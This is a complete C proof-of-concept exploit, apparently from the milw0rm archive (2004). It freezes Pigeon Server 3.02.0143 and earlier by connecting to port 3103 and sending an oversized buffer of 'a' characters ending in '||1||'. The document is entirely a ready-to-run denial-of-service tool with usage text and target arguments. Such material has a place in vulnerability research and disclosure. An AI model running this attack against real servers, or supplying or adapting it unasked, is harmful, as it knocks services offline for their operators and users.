Pigeon Server 3.02.0143 - Denial of Service

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#endif

#define VER "0.1"
#define PORT 3103
#define BUFFSZ 8192 // we need at least 8180 'a's

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd;
u_short port = PORT;
u_char *buff;

setbuf(stdout, NULL);

fputs("\n"
"Pigeon server <= 3.02.0143 freeze "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 2) {
printf("\nUsage: %s <server> [port(%d)]\n"
"\n", argv[0], PORT);
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

if(argc > 2) port = atoi(argv[2]);

peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("\n- target %s:%hu\n",
inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();

if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();

buff = malloc(BUFFSZ);
if(!buff) std_err();
memset(buff, 'a', BUFFSZ);
buff[BUFFSZ - 5] = '|';
buff[BUFFSZ - 4] = '|';
buff[BUFFSZ - 3] = '1';
buff[BUFFSZ - 2] = '|';
buff[BUFFSZ - 1] = '|';

fputs("- send malformed data\n", stdout);
if(send(sd, buff, BUFFSZ, 0)
< 0) std_err();

close(sd);
fputs("- the server should be freezed, check it manually\n\n", stdout);
return(0);
}

u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}

#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

// milw0rm.com [2004-09-19]